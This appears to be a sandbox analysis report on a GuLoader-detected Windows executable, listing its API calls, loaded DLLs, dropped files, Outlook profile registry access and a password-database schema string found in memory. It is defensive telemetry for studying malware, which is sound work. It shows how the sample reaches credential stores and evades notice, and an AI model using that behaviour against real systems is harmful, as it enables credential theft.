Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_701A1B5F	0_2_701A1B5F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00404DCC	5_2_00404DCC
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00174328	5_2_00174328
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00178DA0	5_2_00178DA0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00175F90	5_2_00175F90
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00172DD1	5_2_00172DD1
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC2130	5_2_38FC2130
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC03AF	5_2_38FC03AF
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC3318	5_2_38FC3318
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCCCA0	5_2_38FCCCA0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCC638	5_2_38FCC638
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC7628	5_2_38FC7628
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCB07F	5_2_38FCB07F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCF054	5_2_38FCF054
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC7848	5_2_38FC7848
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCC1F2	5_2_38FCC1F2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC69CB	5_2_38FC69CB
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCB930	5_2_38FCB930
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCAAE8	5_2_38FCAAE8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCDA89	5_2_38FCDA89
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC6A43	5_2_38FC6A43
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCEBF2	5_2_38FCEBF2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCE347	5_2_38FCE347
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCB4EC	5_2_38FCB4EC
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCCCA2	5_2_38FCCCA2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCBD9C	5_2_38FCBD9C
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCDEE1	5_2_38FCDEE1
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC6EA0	5_2_38FC6EA0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC6E91	5_2_38FC6E91
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FC7E1E	5_2_38FC7E1E
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCE79F	5_2_38FCE79F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956A9B0	5_2_3956A9B0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956A360	5_2_3956A360
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39569D10	5_2_39569D10
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956BDF0	5_2_3956BDF0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39568650	5_2_39568650
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395696C8	5_2_395696C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39562108	5_2_39562108
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956F130	5_2_3956F130
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395651F8	5_2_395651F8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395629B8	5_2_395629B8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956A9A0	5_2_3956A9A0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39561858	5_2_39561858
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39560040	5_2_39560040
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39561848	5_2_39561848
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39567070	5_2_39567070
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39567061	5_2_39567061
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39564820	5_2_39564820
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395620F8	5_2_395620F8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956A352	5_2_3956A352
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39566358	5_2_39566358
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39567B4F	5_2_39567B4F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39566368	5_2_39566368
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563B18	5_2_39563B18
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563B08	5_2_39563B08
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395643C8	5_2_395643C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563258	5_2_39563258
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563268	5_2_39563268
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565208	5_2_39565208
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956BA97	5_2_3956BA97
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565AB8	5_2_39565AB8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565AA8	5_2_39565AA8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956255F	5_2_3956255F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39562560	5_2_39562560
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39569D00	5_2_39569D00
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39564DB2	5_2_39564DB2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39564DB0	5_2_39564DB0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39566C18	5_2_39566C18
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39561400	5_2_39561400
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39566C09	5_2_39566C09
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395674C8	5_2_395674C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39561CB0	5_2_39561CB0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395674B8	5_2_395674B8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39561CA0	5_2_39561CA0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563F72	5_2_39563F72
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39563F70	5_2_39563F70
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565F10	5_2_39565F10
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395667C0	5_2_395667C0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956AFF7	5_2_3956AFF7
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956AFF8	5_2_3956AFF8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956AFE8	5_2_3956AFE8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395667B0	5_2_395667B0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39560FA8	5_2_39560FA8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565650	5_2_39565650
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_3956565F	5_2_3956565F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39568640	5_2_39568640
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39565660	5_2_39565660
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39562E10	5_2_39562E10
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39562E00	5_2_39562E00
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395636C2	5_2_395636C2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395636C0	5_2_395636C0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_395696B8	5_2_395696B8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39560EB9	5_2_39560EB9
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39A96FA0	5_2_39A96FA0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39A9E7C8	5_2_39A9E7C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39A9D608	5_2_39A9D608
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_39A98328	5_2_39A98328

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: String function: 00402C41 appears 51 times

Source: xXUnP7uCBJ.exe, 00000000.00000000.1687519057.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs xXUnP7uCBJ.exe
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs xXUnP7uCBJ.exe
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980758974.0000000036587000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs xXUnP7uCBJ.exe
Source: xXUnP7uCBJ.exe, 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs xXUnP7uCBJ.exe
Source: xXUnP7uCBJ.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs xXUnP7uCBJ.exe

Source: xXUnP7uCBJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

File created: C:\Users\user\AppData\Local\Temp\nsqC0CA.tmp

Jump to behavior

Source: xXUnP7uCBJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xXUnP7uCBJ.exe, 00000005.00000002.2982590020.00000000376FD000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000367D3000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000367F4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000367C5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000367B5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000367E8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xXUnP7uCBJ.exe	Virustotal: Detection: 57%
Source: xXUnP7uCBJ.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

File read: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\xXUnP7uCBJ.exe "C:\Users\user\Desktop\xXUnP7uCBJ.exe"
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process created: C:\Users\user\Desktop\xXUnP7uCBJ.exe "C:\Users\user\Desktop\xXUnP7uCBJ.exe"
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process created: C:\Users\user\Desktop\xXUnP7uCBJ.exe "C:\Users\user\Desktop\xXUnP7uCBJ.exe"	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: xXUnP7uCBJ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2212629078.0000000003E3C000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_701A1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_701A1B5F

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

File created: C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
